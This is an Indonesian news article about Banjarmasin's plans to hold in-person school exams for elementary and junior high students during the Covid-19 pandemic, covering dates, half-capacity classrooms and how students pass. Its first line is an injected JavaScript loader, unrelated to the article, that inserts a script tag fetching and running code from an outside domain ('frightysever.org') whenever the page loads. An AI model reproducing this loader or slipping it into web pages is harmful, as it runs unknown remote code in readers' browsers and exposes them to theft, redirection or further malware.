(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ujian Sekolah di Banjarmasin Digelar Tatap Muka, Ini Jadwal Pelaksanaannya!

KANALKALIMANTAN.COM,BANJARMASIN– Dinas Pendidikan (Disdik) Banjarmasin telah merencanakan jadwal pelaksanaan Ujian Sekolah (US) yang akan digelar secara tatap muka di tingkat Sekolah Dasar (SD) dan Sekolah Menengah Pertama (SMP).

Hal tersebut disampaikan Kepala Disdik Kota Banjarmasin Totok Agus Daryanto kepada Kanalkalimantan.com, Rabu (10/3/2021). Ia mengatakan, US tingkat SMP akan digelar pada 29 Maret, sedangkan tingkat SD digelar pada 5 April 2021.

“Pelasanaan US di tiap sekolah yang mana pengganti dari Ujian Nasional (UN) lantaran masih dalam situasi pandemi Covid-19 . Kita sudah rencanakan jadwalnya,” terang Totok.
Terkait masa berlangsungnya US di tiap sekolah, Totok mengatakan akan disesuaikan dengan jumlah mata pelajaran.

Ia menegaskan, pelaksanaan US masih sama dengan rencana awal yang dilakukan secara tatap muka di sekolah. Karena baginya, jika ujian sekolah dilaksanakan secara daring maka kurang efektif.

“Berapa lamanya tergantung jumlah mata pelajaran yang diujikan. Tentunya pelaksanaan nanti dengan protokol kesehatan yang ketat. Karena kalau dilakukan secara daring tidak semua siswa mempunyai peralatannya,” dalihnya.

Namun Totok mengaku, bahwa tidak akan memaksakan dan tetap mempersilahkan siswa bersangkutan melaksanakan secara daring. Demikian juga bagi siswa yang sakit, tidak diperkenankan turun dan akan mengikuti ujian susulan.

“Kita tetap menyiapkan dua skenario untuk pelaksanaan US nanti akan dilakukan dengan pola 50:50. Atau satu ruang kelas hanya diisi oleh 50 persen dari total jumlah siswa,” terangnya.

Totok juga mengatakan dalam menentukan kelulusan siswa akan dinilai dari keaktifan belajar di masa pandemi dan raport. Serta nilai sikap dan pendidikan karakter siswa yang harus baik dan juga ada nilai prestasi lainnya.

Seperti siswa yang mengikuti perlombaan, juga menjadi pertimbangan lulus atau naik kelas. “Kalau pendidikan karakter cukup saja bisa tidak lulus atau tidak naik kelas,” tutupnya. (Kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell